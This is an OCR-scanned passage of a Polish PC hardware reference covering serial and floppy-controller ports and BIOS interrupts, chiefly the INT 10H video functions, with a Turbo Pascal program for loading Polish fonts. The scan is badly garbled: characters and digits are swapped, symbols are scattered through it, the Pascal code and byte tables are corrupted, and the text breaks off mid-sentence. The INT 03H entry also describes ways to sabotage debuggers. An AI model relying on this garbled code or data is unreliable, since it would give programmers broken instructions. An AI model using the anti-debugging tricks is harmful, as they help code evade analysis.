Zapis : Rejestr Modemu 139 7 6 5 4 3 2 1 0 0 0 0 0:1=uaktywnia -DTR ,dane gotowe 1: t=uaktywnia -RTS ,żadanie wyslania 2: 9 =uaktywnia ţ U Tt ,wyjœcie użytkownika 3:1=uaklywnia --OUT2 wyjœcie użytkownika 4:1=uaklywnia tesly sprzęlowe. / 3fd H Odczyt: Rejestr stanu linii. Ustawienie bitów 1-4 powoduje przerwanie o ile jest ono dozwo- lone. 7 6 5 4 3 2 1 0 L 0: t=(DR). Dane golowe t:1=(OE). Popnedni znakzgubiony 2: t=(PE). Bfad parzysfoœd 3:1=(FE). Btędny bit w znaku 4: t=(BI).Pnerwanie 5: t=Można wysylaE. 6: t =Transmiter pusty / 3feH Odczyt: Rejestr stanu modemu. Ustawienie bitów 1-3 powoduje przerwanie o ile jest one dozwolone. 7 6 5 4 3 2 1 0 ţ 0: t =(DCTS) zmienit slan 1: t=(DDSR) zmienil stan 2:1=(TERI) jest aktywny 3:1=(DDCD) zmienil się 4: t=(CTS) jesf aktywny 5: t =(DSR) jesl aktywny 6:1=(RI) jest aklywny 7:1=(DCD) jest aktywny Porty Foc Głównym składnikiem FDC (Floppy Disk Controller - kontroler dysków elastycznych jest układ NECu PD765 lub kompatybilny. FDC #1 ma przyporzšdkowane porty 3fOH do 3f7H FDC #2 ma przyporzšdkowane porty 370H do 377H (Tylko w AT) FDC generuje przerwanie sprzętowe na poziomie 6 (IRQ 6) po każdej operacji (odczyt,zapis,rekalibracja itd). IRQ 6 jest przyporzšdkowane przerwaniu Oeh obsługiwanemu przez BIOS. / Port Opis / 3f2h Zapis:Rejestr cyfrowego wyjœcia 140 % ' ţ.: 7 6 5 4 3 2 1 0 D C B A 0-t : Napęd do wyboru 0-3 (AT: bil t nie używany) I 2:1=Wtacz kontroler 3:1=Zezwolenie na DMA i przeiwania 4-7: Silnik napędu wtaczony.(AT: bity 6-7 nie używane) / 3f4h Tylko odczyt: Główny rejestr stanu 7 6 5 4 3 2 1 0 D C B A 0:1=Napęd dyskbw zajęly (AT: bity 2-3 nie uiywane) 4:1=Kontroler zajęly 5:1=Tryb DMA wylaczony 0=tryb DMA aklywny 6: Kierunek przeplywu danych:1=do CPU; 0 = z CPU 7:1=Zgoda na wystanielodbiór danych lub rozkazu. / 3f5H Rejestr rozkazówldanych FDC Poniżej znajduje się opis rozkazów kontrolera. Petny opis tych rozkazów wykraczałby poza ramy tej ksišżki. SprawdŸ , w opisie swojego komputera lub w [1 ] Rozkaz Opis Odczyt danych Zapisanie danych ţ, Formatowanie œcieżki 0ţ Rekalibracja Szukanie œcieżki ů Ž* / 3f6h AT Rejestr dysku stałego / 3f7h AT Zapis: Rejestr rozkazu 7 6 5 4 3 2 1 0 0-1: Iloœć danych do przestania. 00=500 KB, 01=300 KB, t 0=250 KB,11=zarezerw. Odczyt: Rejestr cyfrowego wejœcia. Używany dla diagnostyki (poza bitem 7) ţ;:ţ 7 6 5 4 3 2 1 0 ţţ ţ . ţ 0:1=napęd 0 1:1=napęd t 2-5: Wybór gtowicy 0-3 (bit 2=glowica 0,3=glowica 1, itd) . ' ţ*ţ 6: Brama zapisu 7: Zmiana I dyskietek. 21. Przerwania Poniżej znajduje się lista przerwari BIOS-u i Systemu MS-DOS. Wykorzystywać tę listę możesz dwojako: używajšc gotowych funkcji wspólpracy z dyskami, czy ekranem, albo piszšc wtasne procedury obsługi, przechwytujšc na przykład przerwanie zegarowe lub klawiatury. Wirusy przechwytujš niektóre przerwania, aby "oszukiwać" system maskujšc swojš obecnoœć np. podajšc fałszywš zawartoœć pliku sprzed zarażenia. Te z przerwari, które nie sš przedstawione w tym spisie sš zarezerwowane i nie majš dla Ciebie praktyeznego znaczenia. 141 Przerwanie: OOH Nazwa: Dzielenie przez zero. Wywołanie: Wywolywane przez mikroprocesor. Powrót: Brak Opis: Przerwanie jest wywofywane przez mikroprocesor w sytuacji, gdy podczas operacji DIV i IDIV wynik dzielenia nie mieœci się w komórce mu przeznaczonej lub po prostu dzielnik jest zerem. Najprostsza sytuacja, po której przerwanie zostanie wywolane to wykonanie cišgu instrukcji: MOV BX,0 DIV BX Przerwanie: 01H Nazwa: Praca krokowa. Wywotanie: Wywolywane przez mikroprocesor. Powrót: Brak. Opis: Przerwanie to jest wykonywane po każdej instrukcji procesora, jeœli jest ustawiony znacz- nik pracy krokowej (T,TF). Pozwala ono debuggerom na wykonywanie instrukcji krok po kroku i wypisywanie stanu pamięci, rejestrów, portów wejœcia/wyjœcia itd. Uwagi: Po wywolaniu dowolnego przerwania, znacznik pracy krokowej jest zerowany.Dlatego naj- częœciej używany sposób rozpoczęcia pracy krokowej może wydać Ci się doœć skompliko- wany. Polega on na zapisaniu na stos słowo odpowiadajšcego rejestrowi znaczników z ustawionym znacznikiem T (8 bit) , zapamiętaniu pozycji aktualnie wykonywanej instru- kcji i wykonaniu IRET. Odpowiedni kod może wyglšdać na przykład tak: PUSH F ' POP AX OR AX,0100H PUSH AX PUSH CS PUSH IP IRET Przerwanie: 02H Nazwa: Przerwanie niemaskowalne. Wywolanie: Wywolywane przez mikroprocesor. Powrót: Brak. Opis: Przerwanie NMI (Non Maskable Interrupt )jest wywolywane w sytuacji wystšpienia poważ- nych bfędów, które zagrażajš pracy systemu. W standardowym PC - ecie jest ono powiš- zane z błędem parzystoœci pamięci. Procesor 8087/80287 wywoluje przerwanie NMI w przypadku wystšpienia błędu dzielenia przez 0. W systemach z podwyższonym bezpie- czeristwem przerwanie jest wywolywane po wyłšczeniu zasilania zewnętrznego. Jest to je- dyne przerwanie, którego nie da się wyłšczyć instrukcjš CLI, tzn będzie ono wywolywane zawsze, niezależnie od stanu znacznika I. Przerwanie: 03H Nazwa: Punkt kontrolny (Breakpoint). Wywolanie: Wywolywane przez mikroprocesor Powrót: Brak. 142 Opis: Przerwanie to jest wykorzystywane giównie przez debuggery. Ponieważ jego kod jest jed- nobajtowy (COH), może być wstawione w dowolne miejsce programu bez niszczenia jego zawartoœci. Debuggery przechwytujšc to przerwanie umożliwiajš tworzenie punktów kon- trolnych w programie. Mechanizm tego jest bardzo prosty, tzn. we wskazane przez użyt- kownika miejsce programu wstawiana jest instrukcja przerwania, a jego adres i aktualnš za- wartoœć zapamiętuje "odpluskwiacz". Po dojœciu do tego miejsca w programie procedura obsługi przerwania zatrzymuje pracę, wyœwietla zawartoœci rejestrów i przywraca poprze- dniš wartoœć komórce. Uwagi: Jak każda broń, działa to w dwie strony. Sš przynajmniej dwa sposoby wykorzystania tego przerwania w celu oszukania debuggera. - Przenieœ kilka razy swój program w pamięci. Nie kosztuje Cię to dużo pracy, a ma taki efekt, że jeœli gdzieœ zostanie zastawione to przerwanie, to po przekopiowaniu debugger po napotkaniu kodu OCH uruchomi wprawdzie punkt kontrolny ale nie przywróci poprze- dniej zawartoœci komórki (nie będzie znał nowego adresu). W ten sposób będzie on sam ni- szczył kod, który ma nadzorować. - Zamień w tablicy wektorów przerwanie 03H z innym często wykorzystywanym przerwa- niem np 13H, czy 21 H. Wtedy próby przechwycenia tego przerwania będš najczęœciej koń- czyły się zawieszeniem systemu. Dodatkowo możesz co jakiœ czas sprawdzać, czy prze- rwanie to nie jest przechwycone ( w tym przypadku najlepiej czyfaj bezpoœrednio z tablicy wektorów), a jeœli tak, to wydrukuj jakiœ miw komunikat i usuń się z pamięci. Przerwanie: 04H Nazwa: Nadmiar Wywotanie: Wywofywane z mikroprocesora Powrót: Brak Opis: Przerwanie jest wywolywane przez mikroprocesor w przypadku wystšpienia nadmiaru w operacjach aryfmetycznych (Znacznik 0 =1). Przerwanie: 05H Nazwa: Wydrukowanie zawartoœci ekranu Wywolanie: Po naciœnięciu klawisza Print Screen Powrót: Brak Opis: Przerwanie jest wywofywane bezpoœrednio przez przerwanie klawiatury 09H, jeœli naciœnię- tym klawiszem jest PrtSc. Ekran jest drukowany tylko w trybie tekstowym. Przerwanie: 08H Nazwa: Przerwanie Zegara Wywolanie: Wywolywane przez sterownik 8259A Powrót: Brak Opis: Jest to przerwanie sprzętowe IRQ 0 obsługujšce zegar systemowy. Jest wykonywane co 55mms czyli okolo 18.2 raza na sekundę. Modyfikuje zmienne 0:046c i wyłšcza silnik stacji dysków po dwóch sekundach od czasu ostatniej transmisji danych. Wywołuje także prze- rwanie użyfkownika 1 CH Uwagi: Jeœli chcesz przechwycić to przerwanie, to nie zapomnij umieœcić na końcu procedury ob- sługi następujšcych instrukcji: MOV AL,20H OUT 20H,AL Jest to sygnał dla kontrolera 8259A o zakończeniu przerwania. 143 Przerwanie: 09H Nazwa: Przerwanie klawiatury Wywotanie: Z kontrolera 8259A Powrót: Brak Opis: Jest to przerwanie sprzętowe IRQ 1 wywowwane po każdym naciœnięciu lub zwolnieniu kla- wisza. Przerwanie modyfikuje zawartoœć bufora klawiatury (0:041e) i zmiennych okreœlajš- cych status klawiatury(0:417). W przypadku naciœnięcia klawiszy PrtSc lub SysReq wywotu- je odpowiednio przerwanie 5H i przerwanie 15H funkcja 85H Przerwanie: OEH Nazwa: Przerwanie kontolera dysków Wywotanie: Wywolywane przez kontroler 8259A Powrót: Brak Opis: Jest to przerwanie sprzętowe IRQ 6 wywofywane przez kontroler dysków. Ustawia 7 bit w zmiennej (0:043e), który oznacza, że trwa wyszukiwanie sektora na dyskietce. Ten zna- cznik jest wykorzystywany potem przez przerwanie 13H w celu sprawdzenia, czy przed na- stępnšoperacjšjest potrzebna rekalibracja dysku. Przerwanie: 10H Nazwa: Obsługa monitora Opis: Przerwanie jest podzielone na kilka funkcji. Aby uruchomić odpowiedniš funkcję ;iależy przed wywotaniem przerwania umieœcić w rejestrze AH jej numer. Przerwanie: 10H Funkcja OOH Nazwa: Ustalenie trybu wyœwietlania Wywolanie: AH = OOH AL - tryb wyœwietlanie Powrót: Funkcja czyœci ekran ustawia odpowiednie zmienne systemowe i inicjalizuje tryb wyœwietla- nia. Możliwe sš następujšce tryby: AL rodzaj rozdz. kolory karta pamięć obrazu ţ 0 tekstowy 40x25 16I8(odcieni) CGA,EGA b800 t ţ 1 tekstowy 40x25 16/8 CGA,EGA b800 2 fekstowy 80x25 ___ 16I8 (odcieni) CGA,EGA b800 3 tekstowy 80x25 16Iá CGA,EGA b800 4 graficzny 320x200 4 CGA,EGA b800 5 graTiczny 320x200 4 (o_dcienie) CGA,EGA b800 6 graficzny 640x20_0_ 2 ___ CGA,EGA b800 7 tekstowy 80x25 3 MDA,EGA b000 OdH graficzny 320x200 16 EGA,VGA A000 Oe H ţ graficzny 640x200 16 EGA,VGA A000 144 OfH graticzny 640x350 3 EGA,VGA A000 . ţ ţ " F ţ 10H graficzny 640x350 4 lub 16 ţ EGA,VGA A000 11 H graficzny 640x480 2 VGA A000 12H graficzny 640x480 16 VGA A000 13H graficzny 640x480 256 VGA A000 Dodanie 80H do numeru trybu dla kart EGA i VGA powoduje inicjalizację bez czyszczenia ekranu. Przerwanie: 1 OH Funkcja: 01H Nazwa: Ustawienie kształtu kursora Wywofanie: AH = 01 H CH - poczštkowa linia CL - koricowa linia Powrót: Brak Opis: Funkcja ustawia rozmiar i ksztaft kursora. Poczštkowa i koricowa linia muszš mieœcić się w przedziale 0-1 FH. Podanie 20H jako wartoœci linii poczštkowej powoduje ukrycie kurso- ra. Przerwanie: 10H Funkcja 02H Nazwa: Ustawienie pozycji kursora Wywolanie: AH = 02H BH - numer strony graficznej D H - wiersz DL - kolumna Powrót: Brak Opis: Funkcja ustawia pozycję kursora na ekranie. Podanie 25 jako numeru wiersza powoduje ukrycie kursora. Uwagi: Karty graficzne posiadajš zazwyczaj więcej pamięci niż potrzeba na zapamiętanie obrazu jednego ekranu . Pamięć ta jest dzielona na strony. Każda strona odpowiada jednemu obra- zowi. Dzięki temu możliwa jest np. szybka animacja, możemy bowiem wyœwietlajšc jeden obraz równoczeœnie przygotowywać drugi, a następnie wymieniać stronę aktywnš. Zmiana aktywnej strony odbywa się przy pomocy funkcji 05H tego przerwania. Przerwanie: 10H Funkcja 03H Nazwa: Pytanie o pozycję i ksztaft kursora Wywolanie: AH = 03H Powrót: CH - poczštkowa linia kursora CL - koricowa linia kursora DH - wiersz DL - kolumna Opis: Funkcja zwraca informacje o kształcie kursora (p. funkcja 01 H) oraz o jego położeniu na ekranie. 145 Przerwanie: 1 OH Funkcja 04H Nazwa: Obsługa pióra œwietlnego Wywołanie: AH = 04H Powrót: AH = 0 - pióro niedołšczone 1 - pióro działa BX - kolumna w trybie grafieznym CX - wiersz w trybie graficznym DL - kolumna w trybie tekstowym DH - wiersz w trybie tekstowym Opis: Funkcja zwraca informacje o pozycji pióra œwietlnego, o ile takie jest doišczone do kompu- tera. Przerwanie: 10H Funkcja 05H Nazwa: Ustalenie aktywnej strony Wywofanie: AH = 05H AL - numer strony Powrót: Brak Opis: Funkcja pozwala na zmianę aktywnej strony graficznej. Liczba stron jest zwišzana z roz- miarem pamięci karty graficznej, dlatego może być różna dla róinych komputerów. Zazwy- czaj wyœwietlana jest strona zerowa. Przerwanie: 10H Funkcja 06H Nazwa: Przesuwanie okna w górę Wywofanie: AH = 06H AL - liczba dodanych pustych lin BH - atrybuty pustych linii CL - kolumna lewego górnego rogu okna CH - wiersz lewego górnego rogu okna DL - kolumna prawego dolnego rogu okna DH - wiersz prawego dolnego rogu okna Powrót: Brak Opis: Funkcja przesuwa okno, o parametrach podanych w CX i DX w górę. W rejestrze AL prze- kazywana jest liczba pustych linii, które majš być dopisane od dolu. Podanie w rejestrze AL wartoœci 0 spowoduje zapełnienie całego okna pustymi liniami. Uwagi: Możesz wykorzystywać tę funkcję do czyszczenia ekranu np. za pomocš następujšcego cišgu instrukcji MOV AX,0600H MOV BH,atrybuty MOV CX,OOOOH MOV DX,184FH INT l OH 146 Przerwanie: 10H Funkcja 07H Nazwa: Przesuwanie okna w dół Ÿ Wywofanie: AH = 07H AL - liczba dodanych pustych lin BH - atrybuty pustych lin ţ: ' CL - kolumna lewego górnego rogu okna CH - wiersz lewego górnego rogu okna DL - kolumna prawego dolnego rogu okna DH - wiersz prawego dolnego rogu okna Powrót: Brak Opis: Funkcja przesuwa okno, o parametrach podanych w CX i DX w dóf. W rejestrze AL przeka- zywana jest liczba pustych linii, które majš być dopisane od góry. Podanie w rejestrze AL wartoœci 0 spowoduje zapełnienie całego okna pustymi liniami. Przerwanie: 10H _ Funkcja 08H , ' ` Nazwa: Odczyt znaku i atrybuty Wywołanie: AH = 08H BH - numer strony graficznej Powrót: AL - kod znaku AH - atrybut znaku Opis: Funkcja zwraca kod i atrybut znaku znajdujšcego się pod kursorem. Przerwanie: 10H Funkcja 09H Nazwa: Zapis znaku i atrybutu Wywofanie: AH = 09H AL - kod znaku BL - atrybut znaku BH - numer strony graficznej CX - liczba znaków do zapisania Powrót: Brak Opis: Funkcja zapisuje na ekranie jeden albo kilka znaków. Liczba znaków do zapisania jest przekazywana w rejestrze CX. Dla frybów teksfowych w rejestrze BL znajduje się atrybut znaku. Dla trybów graticznych w rejestrze tym znajduje się kolor. l Przerwanie: 10H Funkcja OAH Nazwa: Zapis znaku Wywofanie: AH = OAH AL - kod znaku BH - numer strony graficznej CX - liczba znaków do zapisania Powrót: Brak 147 Opis: Funkcja zapisuje na ekranie jeden albo kilka znaków. Liczba znaków jest przekazywana w rejestrze CX. Przerwanie: 10H Funkcja OBH Nazwa: Paleta kolorów Wywolanie: AH = OBH BH = 0 - tryb tekstowy, wybranie koloru tta 1- tryb graficzny, wybranie palety kolorów BL - kolor tła (jeœli BH=0) BL = paleta kolorów (jeœli BH=1 ) 0 - paleta zielonylczerwony/bršzowy 1- paleta turkusowy/fioletowy/biafy Powrót: Brak Opis: Funkcja ustala paletę kolorów dla karty graficznej CGA i kompatybilnych. Przerwanie: 10H Funkcja OCH Nazwa: Zapis punktu Wywotanie: AH = OCH AL - kolor BH - numer strony CX - kolumna D X - wiersz Powrót: Brak Opis: Funkcja rysuje na ekranie punkt (pixel) o kolorze podanym w AL. Uwagi: Funkcja ta jest bardzo wolna i nie nadaje się do poważniejszych zastosowari graficznych Przerwanie: 10H Funkcja ODH Nazwa: Odczyt koloru punktu Wywolanie: AH = ODH BH - numer strony CX - kolumna ' DX - wiersz Powrót: AL - kolor Opis: Funkcja zwraca kolor punktu (pixela). Dziata tylko w trybie graficznym. Uwagi: Funkcja ta jest bardzo wolna i nie nadaje się do poważniejszych zastosowari graficznych Przerwanie: 10H Funkcja OEH Nazwa: Symulacja dalekopisu Wywofanie: AH = OEH AL - kod znaku do zapisu (używajšc istniejšcych atrybutów) BL - kolor (tylko w trybie graficznym) ţţT . . , ` Powrót: Brak Opis: Funkcja zapisuje znak do aktywnej strony graficznej. Przerwanie: 10H Funkcja OFH Nazwa: Pytanie o aktualny tryb wyœwietlania Wywofanie: AH = OFH _ Powrót: AL - tryb pracy (p. funkcja OOH) AH - liczba znaków w wierszu '1: . BH - numer aktywnej strony Opis: Funkcja zwraca informację o trybie wyœwietlania oraz numer aktywnej strony. Przerwanie: 1 OH * :ţ Funkcja 10H ţ ' ţ' Nazwa: Ustalenie palety kart EGA,VGA Wywoianie: AH = lOH AL = 0 - ustaw jeden rejestr BL - rejestr do ustawienia (numer rejestr odpowiada numerowi koloru używanemu, przy okreœlaniu atrybutów). BH - wartoœć rejestru 1- ustaw rejestr tła BH - wartoœć rejestru 2 - ustaw wszystkie rejestry ES:BX - adres 17 - bajtowego obszaru z wartoœciami 16 rejestrów kolorów i rejestru tła. 3 - wybierz podœwietlenia i migotanie BL = 0 - wtšczone podœwietlenie 1 - wfšczone migotanie 7 - czytaj jeden rejestr (VGA) BL - numer rejestru Powrót: BH - wartoœć rejestru 8 - czytaj rejestr tła (VGA) Powrót: BH - wartoœć rejestru 9 - czytaj wszystkie rejestry (VGA) ES:BX - adres bufora, w którym zostanš zwrócone rejestry 1 OH - ustaw jeden rejestr (VGA) BX - numer rejestru DH - nasycenie czerwonym CH - nasycenie zielonym CL - nasycenie niebieskim 11 H - ustaw blok rejestrów (VGA) ES:BX - adres bloku z wartoœciami rejestrów. _ R,G,B; R,G,B; BX - pierwszy rejestr CX - liczba rejestrów do ustawienia 149 13H - wybierz tryb podziału na stronylstrony aktywnej (VGA) BL = 0 - wybór trybu podziału na strony BH = 0 - 4 bloki rejestrów po 64 każdy 1-16 bloków rejestrów po 16 każdy 1- wybór strony aktywnej BH - numer aktywnej strony 15H - czytaj rejestr (VGA) BX - numer rejestru Powrót: DH - nasycenie czerwonym CH - nasycenie zielonym CL - nasycenie niebieskim 17H - czytaj blok rejestrów (VGA) ES:BX - adres bufora BX - pierwszy rejestr CX - liczba rejestrów do ustawienia czytaj ES:BX - adres bloku z wartoœciami rejestrów. (R,G,B; R,G,B; ...) 1 AH - czytaj tryb podziału na stronylstrony aktywnej (VGA) Powrót: BL = 0 - 4 bloki rejestrów po 64 każdy 1-16 bloków rejestrów po 16 każdy BH - numŠr aktywnej strony 1 BH - zamieri wartoœć koloru w rejestrze na wartoœć odcienia szaroœci (VGA). BX - pierwszy rejestr do zamiany CX - liczba rejestrów Opis: Funkcja wybiera kolory używane do atrybutów ekranu dla karty EGA. (p. również opis portów EGA). Dla pod-funkcji OOH,001 H i 002 rejestry majš następujšce ustawienie bitów: 7 6 _5 4 3 2 1 0 Nie Używ. r g b/P R G B (6-bitów = 64 możliwe kolory) P = Podœwietlenie, przy symulacji CGA Małe litery oznaczajš ll3 intensywnoœci koloru (r - czerwony, g - zielony, b - niebieski). Duże litery oznaczajš 2l3 intensywnoœci koloru Uwagi: Standardowe kolory przypisane majš następujšce numery przy okreœlaniu atrybutów: Jak wiadomo, ţażdy z kolorów jest złożeniem trzech barw podstawowych: czerwonego, zielonego, niebieskiego. Przy pomocytej funkcji możesz na przykład zmienić znaczenie koloru fioletowego, aby był on złożeniem niebieskiego(maksymalny intensyw ”v) Žx ӔţH(v3 intensywnoœci), bez zielonego. Robi to następujšcy cišg instrukcji: MOV BX,0B05H INT l OH Dla karty VGA można wybierać z 63536 kolorów, dlatego wartoœci nasycenia kolorem czerwonym, zielonym, niebieskich trzeba przekazywać w osobnych bajtach. Przerwanie: 1 OH Funkcja 11 H Nazwa: Generator znaków karty EGA,VGA Wywolanie: AH =11 H AL = 0 - Załadowanie matrycy znaków trybu tekstowego ES:BP - adres matrycy znaków użytkownika CX - liczba znaków DX - kod pierwszego znaku BL - numer matrycy (W zależnoœci od rozmiaru pamięci karty EGA od 1 do 4, VGA 0-7) BH - iloœć bajtów do definicji znaku (8,14 lub 16) 1- załadowanie matrycy 8*14 z ROM BL - numer matrycy 2 - załadowanie matrycy 8*8 z ROM BL - numer matrycy 3 - włšczenie trybu wyœwietlania dwóch matryc równoczeœnie. Jeœli w atrybucie znaku kolor tła będzie miał większy numer niż 7 to wyœwietlany będzie znak z drugiej matrycy). BL - Wybór matryc 7 6 5 4 3 2 1 0 ţł nie używane nr malr nr matr używana gdy 3 bit at Nb.=0 używana gdy 3 bit at Nb.=t 4 - załadowanie matrycy 8x16 z ROM (VGA) BL - numer matrycy (0-7) 1 OH - załadowanie matrycy znaków trybu tekstowego dla strony zerowej. (zobacz pod-funkcja OOH) 11 H - załadowanie matrycy 8*14 z ROM dla strony zerowej. (zobacz pod-funkcja 01 H) 12H - załadowanie matrycy 8"8 z ROM dla strony zerowej. (zobacz pod-funkcja 02H) 14H - załadowanie matrycy 8x16 z ROM dla strony zerowej. (zobacz pod-funkcja 04H) 20H - ustawienie matrycy użytkownika dla trybów graficznych ES:BP - adres 2048-bajtowej matrycy 8*8 dla przerwania 1 FH 21 H - ustawienie matrycy użytkownika dla trybów graficznych ES:BP - adres matrycy dla przerwania 44H CX - liczna bajtów na znak 151 BL = kod liczby wierszy na ekranie 0 - ustalona przez użyfkownika DL - liczba wierszy 1- OEH (14) 2 -19H (25) 3 - 2BH (43) 22H - ustawienia matrycy 8*14 dla trybów graficznych z ROM BL - kod liczby wierszy na ekranie 23H - ustawienia matrycy 8*8 dla trybów graficznych z ROM BL - kod liczby wierszy na ekranie 24H - ustawienia matrycy 8*16 dla frybów graficznych z ROM(VGA) BL - kod liczby wierszy na ekranie 30H - Pobranie dodatkowych informacji BH = typ mafrycy 0 - matryca graficzna przerwania 1 FH 1- matryca graficzna przerwania 44H 2 - matryca ROM 8*14 3 - matryca ROM 8*8 4 - matrţca ROM 8*8 (najwyższa) 5 - matryca ROM 9x14 6 - matryca ROM 8x16 (VGA) 7 - matryca ROM 9x16 (VGA) Powrót: ES:BP - adres matrycy, której typ był przekazany w BH (jeœli AH=30H) CX - liczba bajfów na znak DL - liczba wierszy na ekranie Opis: Funkcja definiuję nowš mafrycę znaków dla karty EGA. Zmiana matrycy powoduje bezpo- œrednie efekty na ekranie. Pod-tunkcje l OH,11 H,12H operujš na zerowej stronie graficznej i powinny być wywoływane bezpoœrednio po zmianie trybu wyœwietlania. Sposób definiowa- nia znaków jest przedstawiony przy opisie obszaru danych karty EGA. Uwagi: Poniższy program w Turbo Pascalu instaluje polskie znaki na zerowej stronie karty EGA. {*****************************************************************} {* *} {* Program Litery Andrzej Dudek Lipiec 1992 *} (* * {* Polskie litery na karty EGA, VGA. Standard Mazovii *) (* *} {*****************************************************************} {$m 10000,10000,80000} uses dos; type litera=array[1. 16) of byte; const ilosc znakow=19; wzory:array[l..ilosc znakow] of litera = ((0 0 16 56,108,198,198,254,198,198,198,198 4 8 0 0), (4,8,60 102 194,192,192,192,192 194 102,60,Ó,Ó,Ó,Ó), (0,0,254,102 98 104 120 104 96 98 l Ó2 254 2 4 0 0), (0,0 240 9E 96 100 104 112 96,98 102 254 Ó Ó Ó Ó), (8,1G 23Ó 230 246 254 222 206 198,19B,198,198,Ó,0,0,0) (0,2,124,206,214,198 198 198 198,198,198,124,0,0,0,0), (2,4,124,198,198,96,56 12 6 198 198 124 0,0,0,0) (0,0 254 198 134 12 126,48,96,194,198,254,O,O,O,Ó), (8,16 254 198 134,12 24 48 96,194,198,254,0,0 0,0), ((0,0,0,4,8,124,19g 19221922ţ9220981124 Ó2ÓţÓţÓ), (0,0,0 0 0,124 198 254,192,192,198,124,8,4,0,0), (0,0,56 24,24 28 24 56,24 24 24 60,0 0.,0,0) (0,0,0,4,8 22Ó l Ó2 102 102 l Ó2 102 l Ó2 0 0 Ó 0) (0,0,0,8,16 124 198 19B 19B,198,198,124,Ó,Ó,Ó,0), (0,0,0,8,4,124,198,96,56,12,198,124,0,0,0,0), 152 ţ:f. (0,0,0,16,0,254 204 24 48 96 198 254 0 0 0 0), ((Ó,0,0,2,2,22 123ţl Ó2422 34966 1282 Ó4ÓOÓţÓţ)Ó), * kody ţ$8 a 951 iloscţznakow] of b te = $90 $9C $A5 $A3 $98, A1,$A0,$86,$8D,$91, $92,$A4,$A2,$9E,$A7,$A6,$9B); var p .^literaţ :registers; ţd,graphmode :integer; :byte; _ begin with r do be in inţine($fa); ah:=$48; bx:=1; msdos(r); if bx1 then begin * ţLI *} inline($fb); exit end; es : =ax ; "ţ bp:=0; p:=ptr(es,bp); ah:=$11; al:=0; cx:=l; bl:=0ţ bh:=16; for i:=1 to iloscţznakow do begpn =wzory[i]; dx:=k$dţ[ ţ intr end; ah:=$49; msdos(r)ţ {* STI *} inline ($fb); end; for i:=1 to ilosc znakow do write(char(kody[i])); end. . r Przerwanie: 1 OH Funkcja 12H Nazwa: Dodatkowe funkcje kart EGA,VGA Wywołanie: AH =12H BL =10H - pobranie informacji o trybie pracy Powrót: BH = tryb 0 - kolorowy 1- monochromatyczny BL = pamięć karty EGA 0 - 64K8 1-12BKB 2 -192K8 3 - 256K8 CH - bity cech CL - ustawienie przełšczników z tyfu komputera Wywofanie: AH =12H BL = 20H - zmienia procedurę drukowania ekranu po zmianie liczby wierszy na ekranie Wywofanie: AH =12H BL = 30H - wybór liczbę punktów w pionie w trybie tekstowym. Efekty widać dopiero po zmianie trybu (VGA) AL = 0 - 200 punktów t - 350 punktów 2 - 400 punktów 3 - 480 punktów Powrót: AL =12H jeœli funkeja przebiegła prawidłowo Wywofanie: AH =12H BL = 31 H - Standardowe ładowanie palety (VGA) AH=0 AL = 0 - Podczas wyboru trybu graficznego ładowana standardowa paleta 1- Podczas wyboru trybu graficznego nie ładowana standardowa paleta Powrót: AL =12H jeœli funkcja przebiegła prawidłowo Wywolanie: AH =12H BL = 32H - zablokowanie/odblokowanie VGA AL = 0 - odblokowanie 1- zablokowanie Powrót: AL =12H jeœli funkcja przebiegła prawidtowo Wywołanie: AH =12H BL = 33H - zamiana na odcienie szaroœci (VGA) AL = 0 - zezwolenie na zamianę 1- zablokowanie zamiany Powrót: AL =12H jeœli funkcja przebiegła prawidłowo Wywołanie: AH =12H BL = 34H - emulacja kursora (VGA) AL = 0 - zezwolenie na emulację 1- odblokowanie emulacji Powrót: AL =12H jeœli funkcja przebiegła prawidłowo Wywołanie: AH =12H BL = 35H - przełšczanie kart graficznych (niekompatybilnych) (VGA) ES:DX - adres bufora 128-bajtowy AL = 0 - przygotowanie do wyłšczenia 1- przygotowanie do wyłšczenia karty systemowej 2 - wytšczenie 3 - włšczenie karty nieaktywnej Powrót: AL =12H jeœli funkcja przebiegła prawidłowo Wywołanie: AH =12H BL = 36H - włšczenie/wyłšczenie ekranu (VGA) AL = 0 - włšczenie ekranu 1- wyłšczenie ekranu Powrót: AL =12H jeœli funkcja przebiegła prawidłowo Opis: Funkcja zwraca informacje o kartach EGA,VGA (BH=l OH), zmienia systemowš procedurę drukowania ekranu lub wykonuje dodatkowe funkcje dla karty VGA (pod-funkcje 30H-36H). Uwagi: Wywoluj tš funkcję z parametrem 20H zawsze gdy zmienisz tryb wyœwietlania, a chcesz wydrukować zawartoœć ekranu. Przerwanie: 10H Funkcja 13H Nazwa: Zapis łaricucha znaków Wywołanie: AH =13H BL - atrybut dla pod-funkcji 0 i 1 : ţf; ; ,,ţ 154 BH - numer strony DL - kolumna ţ œ: ţ D H - wiersz ES:BP - adres łaricucha do wyœwietlenia (dla pod-funkcji 2 i 3 łaricuch musi być w postaci: znak, atrybut, znak, atrybut, ...) =' ţ=4: ' AL = numer pod-funkcji 0 - używajšc atrybutu z BL, nie przesuwajšc kursora 1- używajšc atrybutu z BL, przesuwajac kursor na koniec 2 - z różnymi atrybutami, nie przesuwajšc kursora 3 - z różnymi atrybutami, przesuwajšc kursor na koniec Powrót: Brak Opis: Funkcja zapisuje na stronie o numerze podanym w BH łaricuch znaków. Przerwanie: 10H Funkcja 1 BH Nazwa: Pobranie informacji o stanie VGA Wywofanie: AH =1 BH BX = OOH ţ:; Powrót: AL =1 BH - jeœli funkcja zakoriczyła sie sukcesem ES:DI - bufor z danymi (patrz opis) Opis: Funkcja zwraca informacje o stanie karty VGA. Dane te zajmuja 64 bajty i majš następujš- cy format: ; :ţ ń i$ 155 offset Rozm. Zawartoœć 2DH 1 różne informacje o stanie 7 6 5 4 3 2 1 0 0 0:1=wszystkie tryby na wszystkich monitorach 1:1=aktywna zmiana na odcienie szaroœci 2:1=dolšczony monochromatyczny monitor 3:1=zablokowane ładowanie standard. palety 4:1=aktywna emulacja kursora 5:1=aktywne migotanie 31H 1 rozmiar pamięci obrazu 0=64K8,1=128K8, 2=192K8, 3=256K8 1 informacje zmiennej SAVE PTR 7 6 5 4 3 2 1 0 0 0 0:1=aktywna matryca 512-znakowa 1:1=aktywny obszar dynamicznego zapamiętania 2:1=aktywne definiowanie fontów tekstowych 3:1=aktywne definiowanie fontów graficznych 4:1=aktywna zmiana palefy 5:1=aktywne rozszerzenie DCC ţ` 33H ODH zarezerwowane Tablica Stanu VGA, której adres znajduje się pod offsetem 0, składa się z następujacych pól: 156 OBH 1 różne informacje 4=80H - dysk twardy) 158 ţ , 3 : Powrót: AL - kod blędu Opis: Funkcja zwraca kod 